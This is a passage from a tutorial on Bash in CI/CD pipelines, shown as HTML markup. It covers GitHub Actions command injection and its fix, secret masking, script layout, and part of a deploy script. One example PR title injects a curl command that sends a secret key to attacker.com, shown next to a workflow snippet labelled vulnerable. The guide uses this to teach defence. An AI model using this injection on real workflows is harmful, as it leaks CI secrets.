&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# DANGEROUS: Susceptible to Command Injection&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- &lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;Check PR Title&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="sd"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; echo &amp;#34;PR Title is: ${{ github.event.pull_request.title }}&amp;#34;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;An attacker submitting a PR titled &lt;code&gt;Fix bug&amp;quot;; curl https://attacker.com/leak?key=$SECRET_KEY; #&lt;/code&gt; will trigger arbitrary code execution inside your runner.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Remediation:&lt;/strong&gt; Always map workflow context into intermediate environment variables:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# SECURE: Context passed via environment variable&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- &lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;Check PR Title Safely&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;PR_TITLE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;${{ github.event.pull_request.title }}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="sd"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; echo &amp;#34;PR Title is: $PR_TITLE&amp;#34;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="dynamic-secret-masking"&gt;Dynamic Secret Masking
&lt;/h3&gt;&lt;p&gt;If a script dynamically generates sensitive values (e.g., retrieving short-lived session tokens from an authentication API), instruct the runner to mask that value in logs:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# On GitHub Actions&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;SESSION_TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;curl -sS -X POST &lt;span class="s2"&gt;&amp;#34;https://auth.example.com/token&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; jq -r .token&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;::add-mask::&lt;/span&gt;&lt;span class="nv"&gt;$SESSION_TOKEN&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Authenticated with token: &lt;/span&gt;&lt;span class="nv"&gt;$SESSION_TOKEN&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;# Appears as *** in build logs&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="structuring-logic-inline-yaml-vs-dedicated-script-files"&gt;Structuring Logic: Inline YAML vs Dedicated Script Files
&lt;/h2&gt;&lt;p&gt;When architecting CI/CD workflows, choose the appropriate home for your Bash code:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Evaluation Criteria&lt;/th&gt;
&lt;th style="text-align: left"&gt;Inline YAML (&lt;code&gt;run&lt;/code&gt;)&lt;/th&gt;
&lt;th style="text-align: left"&gt;Dedicated Script (&lt;code&gt;.github/scripts/deploy.sh&lt;/code&gt;)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;strong&gt;Complexity Range&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;1–5 lines of basic commands&lt;/td&gt;
&lt;td style="text-align: left"&gt;Complex workflows (&amp;gt; 10 lines)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;strong&gt;Linting &amp;amp; Validation&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Difficult to lint; prone to YAML indentation flaws&lt;/td&gt;
&lt;td style="text-align: left"&gt;Fully support &lt;code&gt;shellcheck&lt;/code&gt; and &lt;code&gt;bash -n&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;strong&gt;Reusability&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Locked inside CI workflow YAML&lt;/td&gt;
&lt;td style="text-align: left"&gt;Executable locally and across multiple runners&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;strong&gt;Testability&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Requires committing and pushing to CI&lt;/td&gt;
&lt;td style="text-align: left"&gt;Can be unit-tested locally with Bats&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="recommended-project-layout"&gt;Recommended Project Layout
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── .github/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── workflows/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ │ └── deployment.yml
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ └── scripts/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── build-image.sh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── run-migrations.sh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ └── notify-slack.sh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── src/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└── tests/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Inside your workflow YAML, simply grant executable permissions and trigger the script:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- &lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;Build and Validate Image&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="sd"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; chmod +x .github/scripts/build-image.sh
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt; ./.github/scripts/build-image.sh&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;hr&gt;
&lt;h2 id="practical-example-a-resilient-cicd-build-and-deploy-script"&gt;Practical Example: A Resilient CI/CD Build and Deploy Script
&lt;/h2&gt;&lt;p&gt;Below is a complete, production-ready Bash script designed for CI/CD runners: validating environment variables, running test suites, packaging container images, and exporting Markdown summaries to &lt;code&gt;$GITHUB_STEP_SUMMARY&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;span class="lnt"&gt;22
&lt;/span&gt;&lt;span class="lnt"&gt;23
&lt;/span&gt;&lt;span class="lnt"&gt;24
&lt;/span&gt;&lt;span class="lnt"&gt;25
&lt;/span&gt;&lt;span class="lnt"&gt;26
&lt;/span&gt;&lt;span class="lnt"&gt;27
&lt;/span&gt;&lt;span class="lnt"&gt;28
&lt;/span&gt;&lt;span class="lnt"&gt;29
&lt;/span&gt;&lt;span class="lnt"&gt;30
&lt;/span&gt;&lt;span class="lnt"&gt;31
&lt;/span&gt;&lt;span class="lnt"&gt;32
&lt;/span&gt;&lt;span class="lnt"&gt;33
&lt;/span&gt;&lt;span class="lnt"&gt;34
&lt;/span&gt;&lt;span class="lnt"&gt;35
&lt;/span&gt;&lt;span class="lnt"&gt;36
&lt;/span&gt;&lt;span class="lnt"&gt;37
&lt;/span&gt;&lt;span class="lnt"&gt;38
&lt;/span&gt;&lt;span class="lnt"&gt;39
&lt;/span&gt;&lt;span class="lnt"&gt;40
&lt;/span&gt;&lt;span class="lnt"&gt;41
&lt;/span&gt;&lt;span class="lnt"&gt;42
&lt;/span&gt;&lt;span class="lnt"&gt;43
&lt;/span&gt;&lt;span class="lnt"&gt;44
&lt;/span&gt;&lt;span class="lnt"&gt;45
&lt;/span&gt;&lt;span class="lnt"&gt;46
&lt;/span&gt;&lt;span class="lnt"&gt;47
&lt;/span&gt;&lt;span class="lnt"&gt;48
&lt;/span&gt;&lt;span class="lnt"&gt;49
&lt;/span&gt;&lt;span class="lnt"&gt;50
&lt;/span&gt;&lt;span class="lnt"&gt;51
&lt;/span&gt;&lt;span class="lnt"&gt;52
&lt;/span&gt;&lt;span class="lnt"&gt;53
&lt;/span&gt;&lt;span class="lnt"&gt;54
&lt;/span&gt;&lt;span class="lnt"&gt;55
&lt;/span&gt;&lt;span class="lnt"&gt;56
&lt;/span&gt;&lt;span class="lnt"&gt;57
&lt;/span&gt;&lt;span class="lnt"&gt;58
&lt;/span&gt;&lt;span class="lnt"&gt;59
&lt;/span&gt;&lt;span class="lnt"&gt;60
&lt;/span&gt;&lt;span class="lnt"&gt;61
&lt;/span&gt;&lt;span class="lnt"&gt;62
&lt;/span&gt;&lt;span class="lnt"&gt;63
&lt;/span&gt;&lt;span class="lnt"&gt;64
&lt;/span&gt;&lt;span class="lnt"&gt;65
&lt;/span&gt;&lt;span class="lnt"&gt;66
&lt;/span&gt;&lt;span class="lnt"&gt;67
&lt;/span&gt;&lt;span class="lnt"&gt;68
&lt;/span&gt;&lt;span class="lnt"&gt;69
&lt;/span&gt;&lt;span class="lnt"&gt;70
&lt;/span&gt;&lt;span class="lnt"&gt;71
&lt;/span&gt;&lt;span class="lnt"&gt;72
&lt;/span&gt;&lt;span class="lnt"&gt;73
&lt;/span&gt;&lt;span class="lnt"&gt;74
&lt;/span&gt;&lt;span class="lnt"&gt;75
&lt;/span&gt;&lt;span class="lnt"&gt;76
&lt;/span&gt;&lt;span class="lnt"&gt;77
&lt;/span&gt;&lt;span class="lnt"&gt;78
&lt;/span&gt;&lt;span class="lnt"&gt;79
&lt;/span&gt;&lt;span class="lnt"&gt;80
&lt;/span&gt;&lt;span class="lnt"&gt;81
&lt;/span&gt;&lt;span class="lnt"&gt;82
&lt;/span&gt;&lt;span class="lnt"&gt;83
&lt;/span&gt;&lt;span class="lnt"&gt;84
&lt;/span&gt;&lt;span class="lnt"&gt;85
&lt;/span&gt;&lt;span class="lnt"&gt;86
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/usr/bin/env bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# ==============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Script : ci-build-and-deploy.sh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Purpose: Resilient build, test, and release automation in CI/CD pipelines&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# ==============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;set&lt;/span&gt; -euo pipefail
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;$&amp;#39;\n\t&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;readonly&lt;/span&gt; &lt;span class="nv"&gt;REGISTRY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;registry.example.com&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;readonly&lt;/span&gt; &lt;span class="nv"&gt;APP_NAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;order-service&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;readonly&lt;/span&gt; &lt;span class="nv"&gt;COMMIT_SHA&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;GITHUB_SHA&lt;/span&gt;&lt;span class="k"&gt;:-$(&lt;/span&gt;git rev-parse --short HEAD&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;readonly&lt;/span&gt; &lt;span class="nv"&gt;BUILD_TAG&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;APP_NAME&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;COMMIT_SHA&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;7&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;readonly&lt;/span&gt; &lt;span class="nv"&gt;SUMMARY_FILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;GITHUB_STEP_SUMMARY&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="p"&gt;/dev/null&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;log_info&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;[CI] [INFO] &lt;/span&gt;&lt;span class="nv"&gt;$*&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;log_error&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;[CI] [ERROR] &lt;/span&gt;&lt;span class="nv"&gt;$*&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;2&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Trap exit errors for reporting&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cleanup&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;exit_code&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$?&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="nv"&gt;$exit_code&lt;/span&gt; -ne &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; log_error &lt;span class="s2"&gt;&amp;#34;Pipeline failed during step execution! Exit status: &lt;/span&gt;&lt;span class="nv"&gt;$exit_code&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;::error::Pipeline build failed with exit code &lt;/span&gt;&lt;span class="nv"&gt;$exit_code&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;trap&lt;/span&gt; cleanup EXIT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 1. Validate mandatory environment variables&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;validate_environment&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; log_info &lt;span class="s2"&gt;&amp;#34;Validating CI environment prerequisites...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;required_vars&lt;/span&gt;&lt;span class="o"&gt;=(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;DOCKER_REGISTRY_USER&amp;#34;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;DOCKER_REGISTRY_PASSWORD&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; var in &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;required_vars&lt;/span&gt;&lt;span class="p"&gt;[@]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; -z &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="p"&gt;!var&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; log_error &lt;span class="s2"&gt;&amp;#34;Missing required environment variable: &lt;/span&gt;&lt;span class="nv"&gt;$var&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
